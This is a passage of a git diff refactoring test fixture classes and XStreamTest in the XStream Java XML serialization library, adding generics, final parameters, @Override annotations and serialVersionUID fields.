strings={"name"}, types={String.class}, useImplicitType = false) - private List names; + private static final long serialVersionUID = 201508L; + @XStreamConverter(value = NamedCollectionConverter.class, strings = {"name"}, types = {String.class}, + useImplicitType = false) + private final List names; - public ContainsCollection(List names) { + public ContainsCollection(final List names) { this.names = names; } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/objects/Category.java b/xstream/src/test/com/thoughtworks/acceptance/objects/Category.java index 3919aa494..caa93e88a 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/objects/Category.java +++ b/xstream/src/test/com/thoughtworks/acceptance/objects/Category.java @@ -1,67 +1,66 @@ /* - * Copyright (C) 2007 XStream Committers. + * Copyright (C) 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 30. April 2007 by Joerg Schaible */ package com.thoughtworks.acceptance.objects; import java.util.List; -public class Category { - - String name; - String id; - List products; - - public Category() {} // JDK 1.3 - public Category(String name, String id) { - super(); - this.name = name; - this.id = id; - } +public class Category { + + String name; + String id; + List products; + + public Category(final String name, final String id) { + super(); + this.name = name; + this.id = id; + } + + public String getId() { + return id; + } - public String getId() { - return id; - } + public void setId(final String id) { + this.id = id; + } - public void setId(String id) { - this.id = id; - } + public String getName() { + return name; + } - public String getName() { - return name; - } + public void setName(final String name) { + this.name = name; + } - public void setName(String name) { - this.name = name; - } + public List getProducts() { + return products; + } - public List getProducts() { - return products; - } + public void setProducts(final List products) { + this.products = products; + } - public void setProducts(List products) { - this.products = products; - } - - public String toString() { - String ret = "[" + name + ", " + id; - if (products != null) { - ret += "\n{"; - for (java.util.Iterator it = products.iterator(); it.hasNext();) { - Product product = (Product) it.next(); + @Override + public String toString() { + String ret = "[" + name + ", " + id; + if (products != null) { + ret += "\n{"; + for (final T product : products) { ret += product + "\n"; } ret += "}"; - } - ret += "]"; - return ret; - } + } + ret += "]"; + return ret; + } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/objects/Hardware.java b/xstream/src/test/com/thoughtworks/acceptance/objects/Hardware.java index 43814e717..26fe917f3 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/objects/Hardware.java +++ b/xstream/src/test/com/thoughtworks/acceptance/objects/Hardware.java @@ -1,25 +1,25 @@ /* * Copyright (C) 2003, 2004 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 26. September 2003 by Joe Walnes */ package com.thoughtworks.acceptance.objects; - public class Hardware extends StandardObject { + private static final long serialVersionUID = 200310L; public String arch; public String name; public Hardware() { } - public Hardware(String arch, String name) { + public Hardware(final String arch, final String name) { this.arch = arch; this.name = name; } diff --git a/xstream/src/test/com/thoughtworks/acceptance/objects/OpenSourceSoftware.java b/xstream/src/test/com/thoughtworks/acceptance/objects/OpenSourceSoftware.java index db72dcb11..b682ada33 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/objects/OpenSourceSoftware.java +++ b/xstream/src/test/com/thoughtworks/acceptance/objects/OpenSourceSoftware.java @@ -1,24 +1,24 @@ /* * Copyright (C) 2003, 2004 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 26. September 2003 by Joe Walnes */ package com.thoughtworks.acceptance.objects; public class OpenSourceSoftware extends Software { - - private String license; + private static final long serialVersionUID = 200310L; + String license; public OpenSourceSoftware() { } - public OpenSourceSoftware(String vendor, String name, String license) { + public OpenSourceSoftware(final String vendor, final String name, final String license) { super(vendor, name); this.license = license; } diff --git a/xstream/src/test/com/thoughtworks/acceptance/objects/Original.java b/xstream/src/test/com/thoughtworks/acceptance/objects/Original.java index a7305ec4b..5a6eab036 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/objects/Original.java +++ b/xstream/src/test/com/thoughtworks/acceptance/objects/Original.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2008 XStream Committers. + * Copyright (C) 2008, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 22. October 2008 by Joerg Schaible */ @@ -14,18 +14,18 @@ */ package com.thoughtworks.acceptance.objects; - public class Original extends StandardObject { + private static final long serialVersionUID = 200810L; String originalValue; public Original() { } - public Original(String originalValue) { + public Original(final String originalValue) { this.originalValue = originalValue; } private Object writeReplace() { return new Replaced(originalValue.toUpperCase()); } -} \ No newline at end of file +} diff --git a/xstream/src/test/com/thoughtworks/acceptance/objects/OwnerOfExternalizable.java b/xstream/src/test/com/thoughtworks/acceptance/objects/OwnerOfExternalizable.java index 4fc98e14d..5c12b332f 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/objects/OwnerOfExternalizable.java +++ b/xstream/src/test/com/thoughtworks/acceptance/objects/OwnerOfExternalizable.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2010, 2011 XStream Committers. + * Copyright (C) 2006, 2007, 2010, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -11,7 +11,7 @@ */ package com.thoughtworks.acceptance.objects; - public class OwnerOfExternalizable extends StandardObject { + private static final long serialVersionUID = 201107L; public SomethingExternalizable target; -} \ No newline at end of file +} diff --git a/xstream/src/test/com/thoughtworks/acceptance/objects/Product.java b/xstream/src/test/com/thoughtworks/acceptance/objects/Product.java index f1ed20097..b76fef5b8 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/objects/Product.java +++ b/xstream/src/test/com/thoughtworks/acceptance/objects/Product.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2007, 2013 XStream Committers. + * Copyright (C) 2007, 2013, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 30. April 2007 by Joerg Schaible */ package com.thoughtworks.acceptance.objects; @@ -18,9 +18,9 @@ public class Product { String name; String id; double price; - ArrayList tags; + ArrayList tags; - public Product(String name, String id, double price) { + public Product(final String name, final String id, final double price) { super(); this.name = name; this.id = id; @@ -31,7 +31,7 @@ public String getId() { return id; } - public void setId(String id) { + public void setId(final String id) { this.id = id; } @@ -39,7 +39,7 @@ public String getName() { return name; } - public void setName(String name) { + public void setName(final String name) { this.name = name; } @@ -47,56 +47,78 @@ public double getPrice() { return price; } - public void setPrice(double price) { + public void setPrice(final double price) { this.price = price; } - public ArrayList getTags() { - return tags; + @SuppressWarnings("unchecked") + public ArrayList getTags() { + return (ArrayList)tags; } - public void setTags(ArrayList tags) { + public void setTags(final ArrayList tags) { this.tags = tags; } + @Override public int hashCode() { final int prime = 31; int result = 1; - result = prime * result + ((this.id == null) ? 0 : this.id.hashCode()); - result = prime * result + ((this.name == null) ? 0 : this.name.hashCode()); + result = prime * result + (id == null ? 0 : id.hashCode()); + result = prime * result + (name == null ? 0 : name.hashCode()); long temp; - temp = Double.doubleToLongBits(this.price); - result = prime * result + (int)(temp ^ (temp >>> 32)); - result = prime * result + ((this.tags == null) ? 0 : this.tags.hashCode()); + temp = Double.doubleToLongBits(price); + result = prime * result + (int)(temp ^ temp >>> 32); + result = prime * result + (tags == null ? 0 : tags.hashCode()); return result; } - public boolean equals(Object obj) { - if (this == obj) return true; - if (obj == null) return false; - if (getClass() != obj.getClass()) return false; - Product other = (Product)obj; - if (this.id == null) { - if (other.id != null) return false; - } else if (!this.id.equals(other.id)) return false; - if (this.name == null) { - if (other.name != null) return false; - } else if (!this.name.equals(other.name)) return false; - if (Double.doubleToLongBits(this.price) != Double.doubleToLongBits(other.price)) + @Override + public boolean equals(final Object obj) { + if (this == obj) { + return true; + } + if (obj == null) { + return false; + } + if (getClass() != obj.getClass()) { + return false; + } + final Product other = (Product)obj; + if (id == null) { + if (other.id != null) { + return false; + } + } else if (!id.equals(other.id)) { + return false; + } + if (name == null) { + if (other.name != null) { + return false; + } + } else if (!name.equals(other.name)) { + return false; + } + if (Double.doubleToLongBits(price) != Double.doubleToLongBits(other.price)) { return false; - if (this.tags == null) { - if (other.tags != null) return false; - } else if (!this.tags.equals(other.tags)) return false; + } + if (tags == null) { + if (other.tags != null) { + return false; + } + } else if (!tags.equals(other.tags)) { + return false; + } return true; } + @Override public String toString() { String ret = "[" + name + ", " + id + ", " + price; if (tags != null) { ret += "\n{"; - for (java.util.Iterator it = tags.iterator(); it.hasNext();) { - String tag = (String)it.next(); - ret += tag + "\n"; + for (final Object tag : tags) { + ret += tag.toString() + "\n"; } ret += "}"; } diff --git a/xstream/src/test/com/thoughtworks/acceptance/objects/Replaced.java b/xstream/src/test/com/thoughtworks/acceptance/objects/Replaced.java index 75d27d9d4..3edeb9c8d 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/objects/Replaced.java +++ b/xstream/src/test/com/thoughtworks/acceptance/objects/Replaced.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2008 XStream Committers. + * Copyright (C) 2008, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -14,8 +14,8 @@ */ package com.thoughtworks.acceptance.objects; - public class Replaced extends StandardObject { + private static final long serialVersionUID = 200810L; String replacedValue; public Replaced() { @@ -28,4 +28,4 @@ public Replaced(String replacedValue) { private Object readResolve() { return new Original(replacedValue.toLowerCase()); } -} \ No newline at end of file +} diff --git a/xstream/src/test/com/thoughtworks/acceptance/objects/SampleDynamicProxy.java b/xstream/src/test/com/thoughtworks/acceptance/objects/SampleDynamicProxy.java index 065229265..c1121a243 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/objects/SampleDynamicProxy.java +++ b/xstream/src/test/com/thoughtworks/acceptance/objects/SampleDynamicProxy.java @@ -6,7 +6,7 @@ * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 25. April 2004 by Joe Walnes */ package com.thoughtworks.acceptance.objects; @@ -15,15 +15,16 @@ import java.lang.reflect.Method; import java.lang.reflect.Proxy; + public class SampleDynamicProxy implements InvocationHandler { - private Object aField; + private final Object aField; private transient boolean recursion; - private SampleDynamicProxy(Object value) { + private SampleDynamicProxy(final Object value) { aField = value; } - + public static interface InterfaceOne { Object doSomething(); } @@ -36,15 +37,15 @@ public static Object newInstance() { return newInstance("hello"); } - public static Object newInstance(Object value) { - return Proxy.newProxyInstance(InterfaceOne.class.getClassLoader(), - new Class[]{InterfaceOne.class, InterfaceTwo.class}, - new SampleDynamicProxy(value)); + public static Object newInstance(final Object value) { + return Proxy.newProxyInstance(InterfaceOne.class.getClassLoader(), new Class[]{ + InterfaceOne.class, InterfaceTwo.class}, new SampleDynamicProxy(value)); } - public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + @Override + public Object invoke(final Object proxy, final Method method, final Object[] args) throws Throwable { if (method.getName().equals("equals")) { - return (recursion || equals(args[0])) ? Boolean.TRUE : Boolean.FALSE; + return recursion || equals(args[0]) ? Boolean.TRUE : Boolean.FALSE; } else if (method.getName().equals("hashCode")) { return new Integer(System.identityHashCode(proxy)); } else { @@ -52,7 +53,8 @@ public Object invoke(Object proxy, Method method, Object[] args) throws Throwabl } } - public boolean equals(Object obj) { + @Override + public boolean equals(final Object obj) { try { recursion = true; return equalsInterfaceOne(obj) && equalsInterfaceTwo(obj); @@ -61,21 +63,26 @@ public boolean equals(Object obj) { } } - private boolean equalsInterfaceOne(Object o) { + private boolean equalsInterfaceOne(final Object o) { if (o instanceof InterfaceOne) { - InterfaceOne interfaceOne = (InterfaceOne) o; + final InterfaceOne interfaceOne = (InterfaceOne)o; return aField.equals(interfaceOne.doSomething()); } else { return false; } } - private boolean equalsInterfaceTwo(Object o) { + private boolean equalsInterfaceTwo(final Object o) { if (o instanceof InterfaceTwo) { - InterfaceTwo interfaceTwo = (InterfaceTwo) o; + final InterfaceTwo interfaceTwo = (InterfaceTwo)o; return aField.equals(interfaceTwo.doSomething()); } else { return false; } } + + @Override + public int hashCode() { + return aField.hashCode(); + } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/objects/SampleLists.java b/xstream/src/test/com/thoughtworks/acceptance/objects/SampleLists.java index 05536274f..45deeae4b 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/objects/SampleLists.java +++ b/xstream/src/test/com/thoughtworks/acceptance/objects/SampleLists.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2003 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -16,8 +16,9 @@ import java.util.Collection; import java.util.List; -public class SampleLists extends StandardObject { - public List good = new ArrayList(); - public Collection bad = new ArrayList(); +public class SampleLists extends StandardObject { + private static final long serialVersionUID = 200309L; + public List good = new ArrayList<>(); + public Collection bad = new ArrayList<>(); } diff --git a/xstream/src/test/com/thoughtworks/acceptance/objects/SampleMaps.java b/xstream/src/test/com/thoughtworks/acceptance/objects/SampleMaps.java index 33cba030a..dd895d9db 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/objects/SampleMaps.java +++ b/xstream/src/test/com/thoughtworks/acceptance/objects/SampleMaps.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2011 XStream Committers. + * Copyright (C) 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 05. August 2011 by Joerg Schaible */ package com.thoughtworks.acceptance.objects; @@ -14,7 +14,8 @@ import java.util.Map; -public class SampleMaps extends StandardObject { - public Map good = new HashMap(); - public Map bad = new HashMap(); +public class SampleMaps extends StandardObject { + private static final long serialVersionUID = 201108L; + public Map good = new HashMap<>(); + public Map bad = new HashMap<>(); } diff --git a/xstream/src/test/com/thoughtworks/acceptance/objects/Software.java b/xstream/src/test/com/thoughtworks/acceptance/objects/Software.java index 106601271..6f35592d6 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/objects/Software.java +++ b/xstream/src/test/com/thoughtworks/acceptance/objects/Software.java @@ -1,26 +1,25 @@ /* * Copyright (C) 2003, 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2011 XStream Committers. + * Copyright (C) 2006, 2007, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 26. September 2003 by Joe Walnes */ package com.thoughtworks.acceptance.objects; - public class Software extends StandardObject { - + private static final long serialVersionUID = 200310L; public String vendor; public String name; public Software() { } - public Software(String vendor, String name) { + public Software(final String vendor, final String name) { this.vendor = vendor; this.name = name; } diff --git a/xstream/src/test/com/thoughtworks/acceptance/objects/SomethingExternalizable.java b/xstream/src/test/com/thoughtworks/acceptance/objects/SomethingExternalizable.java index ba1490c8e..5d1837c60 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/objects/SomethingExternalizable.java +++ b/xstream/src/test/com/thoughtworks/acceptance/objects/SomethingExternalizable.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2010, 2011 XStream Committers. + * Copyright (C) 2006, 2007, 2010, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 05. July 2011 by Joerg Schaible, factored out of ExternalizableTest. */ package com.thoughtworks.acceptance.objects; @@ -27,24 +27,26 @@ public class SomethingExternalizable extends StandardObject implements Externali public SomethingExternalizable() { } - public SomethingExternalizable(String first, String last) { + public SomethingExternalizable(final String first, final String last) { this.first = first; this.last = last; } - public void writeExternal(ObjectOutput out) throws IOException { + @Override + public void writeExternal(final ObjectOutput out) throws IOException { out.writeInt(first.length()); out.writeObject(first + last); out.writeObject(nothing); out.writeObject(constant); } - public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { - int offset = in.readInt(); - String full = (String) in.readObject(); + @Override + public void readExternal(final ObjectInput in) throws IOException, ClassNotFoundException { + final int offset = in.readInt(); + final String full = (String)in.readObject(); first = full.substring(0, offset); last = full.substring(offset); - nothing = (String) in.readObject(); - constant = (String) in.readObject(); + nothing = (String)in.readObject(); + constant = (String)in.readObject(); } -} \ No newline at end of file +} diff --git a/xstream/src/test/com/thoughtworks/acceptance/objects/StandardObject.java b/xstream/src/test/com/thoughtworks/acceptance/objects/StandardObject.java index bbfec621a..0bbe5a623 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/objects/StandardObject.java +++ b/xstream/src/test/com/thoughtworks/acceptance/objects/StandardObject.java @@ -1,37 +1,44 @@ /* * Copyright (C) 2003, 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2011, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2011, 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 25. October 2003 by Joe Walnes */ package com.thoughtworks.acceptance.objects; +import java.io.Serializable; + import org.apache.commons.lang3.builder.CompareToBuilder; import org.apache.commons.lang3.builder.EqualsBuilder; import org.apache.commons.lang3.builder.HashCodeBuilder; import org.apache.commons.lang3.builder.ToStringBuilder; -import java.io.Serializable; -public class StandardObject implements Serializable, Comparable { - public boolean equals(Object obj) { +public class StandardObject implements Serializable, Comparable { + private static final long serialVersionUID = 200310L; + + @Override + public boolean equals(final Object obj) { return EqualsBuilder.reflectionEquals(this, obj); } + @Override public int hashCode() { return HashCodeBuilder.reflectionHashCode(this); } + @Override public String toString() { return ToStringBuilder.reflectionToString(this); } - public int compareTo(Object obj) { + @Override + public int compareTo(final StandardObject obj) { return CompareToBuilder.reflectionCompare(this, obj); } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/objects/StatusEnum.java b/xstream/src/test/com/thoughtworks/acceptance/objects/StatusEnum.java index 1daa70161..16e1df29d 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/objects/StatusEnum.java +++ b/xstream/src/test/com/thoughtworks/acceptance/objects/StatusEnum.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 30. May 2004 by Joe Walnes */ package com.thoughtworks.acceptance.objects; @@ -16,10 +16,11 @@ import java.util.Collections; import java.util.List; -public class StatusEnum implements Serializable, Comparable { +public class StatusEnum implements Serializable, Comparable { + private static final long serialVersionUID = 200405L; private static int nextOrdinal = 0; - private int ordinal = nextOrdinal++; + private final int ordinal = nextOrdinal++; public static final StatusEnum STARTED = new StatusEnum("STARTED"); @@ -27,26 +28,25 @@ public class StatusEnum implements Serializable, Comparable { private static final StatusEnum[] PRIVATE_VALUES = {STARTED, FINISHED}; - public static final List VALUES = Collections.unmodifiableList(Arrays.asList(PRIVATE_VALUES)); + public static final List VALUES = Collections.unmodifiableList(Arrays.asList(PRIVATE_VALUES)); private String name; // for debug only - private StatusEnum() { - } - - private StatusEnum(String name) { + private StatusEnum(final String name) { this.name = name; } + @Override public String toString() { return name; } - public int compareTo(Object o) { - return ordinal - ((StatusEnum) o).ordinal; + @Override + public int compareTo(final StatusEnum o) { + return ordinal - o.ordinal; } private Object readResolve() { - return PRIVATE_VALUES[ordinal]; //Canonicalize + return PRIVATE_VALUES[ordinal]; // Canonicalize } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/someobjects/FunnyConstructor.java b/xstream/src/test/com/thoughtworks/acceptance/someobjects/FunnyConstructor.java index 2f5dcf991..cd2560223 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/someobjects/FunnyConstructor.java +++ b/xstream/src/test/com/thoughtworks/acceptance/someobjects/FunnyConstructor.java @@ -1,22 +1,24 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 07. March 2004 by Joe Walnes */ package com.thoughtworks.acceptance.someobjects; import com.thoughtworks.acceptance.objects.StandardObject; + public class FunnyConstructor extends StandardObject { + private static final long serialVersionUID = 200310L; public int i; - public FunnyConstructor(int i) { + public FunnyConstructor(final int i) { this.i = i; } diff --git a/xstream/src/test/com/thoughtworks/acceptance/someobjects/HandlerManager.java b/xstream/src/test/com/thoughtworks/acceptance/someobjects/HandlerManager.java index aae0187fc..b47515421 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/someobjects/HandlerManager.java +++ b/xstream/src/test/com/thoughtworks/acceptance/someobjects/HandlerManager.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -22,9 +22,9 @@ */ public class HandlerManager { - List handlers; + List handlers; - public List getHandlers() + public List getHandlers() { return handlers; } diff --git a/xstream/src/test/com/thoughtworks/acceptance/someobjects/U.java b/xstream/src/test/com/thoughtworks/acceptance/someobjects/U.java index 6d3e26c8f..c09f3bf3d 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/someobjects/U.java +++ b/xstream/src/test/com/thoughtworks/acceptance/someobjects/U.java @@ -1,21 +1,24 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 03. October 2005 by Mauro Talevi */ package com.thoughtworks.acceptance.someobjects; import com.thoughtworks.acceptance.objects.StandardObject; + public class U extends StandardObject { + private static final long serialVersionUID = 200510L; public String aStr; public String a_Str; + public U() { } diff --git a/xstream/src/test/com/thoughtworks/acceptance/someobjects/WithList.java b/xstream/src/test/com/thoughtworks/acceptance/someobjects/WithList.java index 11faee615..7c95f269e 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/someobjects/WithList.java +++ b/xstream/src/test/com/thoughtworks/acceptance/someobjects/WithList.java @@ -1,23 +1,23 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 07. March 2004 by Joe Walnes */ package com.thoughtworks.acceptance.someobjects; -import com.thoughtworks.acceptance.objects.StandardObject; - import java.util.ArrayList; import java.util.List; -public class WithList extends StandardObject { +import com.thoughtworks.acceptance.objects.StandardObject; - public List things = new ArrayList(); +public class WithList extends StandardObject { + private static final long serialVersionUID = 200309L; + public List things = new ArrayList<>(); } diff --git a/xstream/src/test/com/thoughtworks/acceptance/someobjects/WithNamedList.java b/xstream/src/test/com/thoughtworks/acceptance/someobjects/WithNamedList.java index d864c96c6..924ab1858 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/someobjects/WithNamedList.java +++ b/xstream/src/test/com/thoughtworks/acceptance/someobjects/WithNamedList.java @@ -1,18 +1,18 @@ /* - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 15. March 2006 by Joerg Schaible */ package com.thoughtworks.acceptance.someobjects; - -public class WithNamedList extends WithList { - private String name; +public class WithNamedList extends WithList { + private static final long serialVersionUID = 200603L; + private final String name; public WithNamedList(final String name) { this.name = name; @@ -21,4 +21,4 @@ public WithNamedList(final String name) { public String getName() { return name; } -} \ No newline at end of file +} diff --git a/xstream/src/test/com/thoughtworks/acceptance/someobjects/X.java b/xstream/src/test/com/thoughtworks/acceptance/someobjects/X.java index e4efd135e..148851efd 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/someobjects/X.java +++ b/xstream/src/test/com/thoughtworks/acceptance/someobjects/X.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -13,7 +13,9 @@ import com.thoughtworks.acceptance.objects.StandardObject; + public class X extends StandardObject { + private static final long serialVersionUID = 200310L; public String aStr; public int anInt; public Y innerObj; diff --git a/xstream/src/test/com/thoughtworks/acceptance/someobjects/Y.java b/xstream/src/test/com/thoughtworks/acceptance/someobjects/Y.java index 4d76a96c7..38c223570 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/someobjects/Y.java +++ b/xstream/src/test/com/thoughtworks/acceptance/someobjects/Y.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -13,6 +13,8 @@ import com.thoughtworks.acceptance.objects.StandardObject; + public class Y extends StandardObject { + private static final long serialVersionUID = 200310L; public String yField; } diff --git a/xstream/src/test/com/thoughtworks/acceptance/someobjects/Z.java b/xstream/src/test/com/thoughtworks/acceptance/someobjects/Z.java index 57e03b2e6..ac7dcb2d1 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/someobjects/Z.java +++ b/xstream/src/test/com/thoughtworks/acceptance/someobjects/Z.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -13,11 +13,13 @@ import com.thoughtworks.acceptance.objects.StandardObject; + public class Z extends StandardObject { - public String field; - - public Z(String z){ - this.field = z; - } - + private static final long serialVersionUID = 200412L; + public String field; + + public Z(String z) { + this.field = z; + } + } diff --git a/xstream/src/test/com/thoughtworks/xstream/XStreamTest.java b/xstream/src/test/com/thoughtworks/xstream/XStreamTest.java index 23ed4a58d..441f1d583 100644 --- a/xstream/src/test/com/thoughtworks/xstream/XStreamTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/XStreamTest.java @@ -1,16 +1,27 @@ /* * Copyright (C) 2003, 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2011, 2014, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2011, 2014, 2017, 2018, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 26. September 2003 by Joe Walnes */ package com.thoughtworks.xstream; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.StringReader; +import java.io.StringWriter; +import java.io.UnsupportedEncodingException; + +import org.dom4j.Element; + import com.thoughtworks.acceptance.AbstractAcceptanceTest; import com.thoughtworks.acceptance.objects.StandardObject; import com.thoughtworks.acceptance.someobjects.FunnyConstructor; @@ -32,26 +43,17 @@ import junit.framework.TestCase; -import org.dom4j.Element; - -import java.io.File; -import java.io.FileNotFoundException; -import java.io.FileOutputStream; -import java.io.IOException; -import java.io.ObjectOutputStream; -import java.io.StringReader; -import java.io.StringWriter; -import java.io.UnsupportedEncodingException; public class XStreamTest extends TestCase { private transient XStream xstream; + @Override protected void setUp() throws Exception { super.setUp(); xstream = new XStream(); - xstream.allowTypesByWildcard(AbstractAcceptanceTest.class.getPackage().getName()+".*objects.**"); - xstream.allowTypesByWildcard(this.getClass().getName()+"$*"); + xstream.allowTypesByWildcard(AbstractAcceptanceTest.class.getPackage().getName() + ".*objects.**"); + xstream.allowTypesByWildcard(this.getClass().getName() + "$*"); xstream.alias("x", X.class); xstream.alias("y", Y.class); xstream.alias("funny", FunnyConstructor.class); @@ -59,62 +61,61 @@ protected void setUp() throws Exception { } public void testUnmarshalsObjectFromXmlWithUnderscores() { - String xml = - "" + - " foo" + - " _foo" + - ""; + final String xml = ""// + + "" + + " foo" + + " _foo" + + ""; xstream.alias("u-u", U.class); xstream.aliasField("u-f", U.class, "aStr"); xstream.aliasField("u_f", U.class, "a_Str"); - U u = (U) xstream.fromXML(xml); + final U u = (U)xstream.fromXML(xml); assertEquals("foo", u.aStr); assertEquals("_foo", u.a_Str); } public void testUnmarshalsObjectFromXmlWithClassContainingUnderscores() { - String xml = - "" + - " custom value" + - ""; + final String xml = ""// + + "" + + " custom value" + + ""; - U_U u = (U_U) xstream.fromXML(xml); + final U_U u = (U_U)xstream.fromXML(xml); assertEquals("custom value", u.aStr); } - public void testUnmarshalsObjectFromXmlWithUnderscoresWithoutAliasingFields() { - String xml = - "" + - " custom value" + - ""; + final String xml = ""// + + "" + + " custom value" + + ""; xstream.alias("u-u", U.class); - U u = (U) xstream.fromXML(xml); + final U u = (U)xstream.fromXML(xml); assertEquals("custom value", u.a_Str); } - + public static class U_U { - String aStr; + String aStr; } public void testUnmarshalsObjectFromXml() { - String xml = - "" + - " joe" + - " 8" + - " " + - " walnes" + - " " + - ""; + final String xml = ""// + + "" + + " joe" + + " 8" + + " " + + " walnes" + + " " + + ""; - X x = (X) 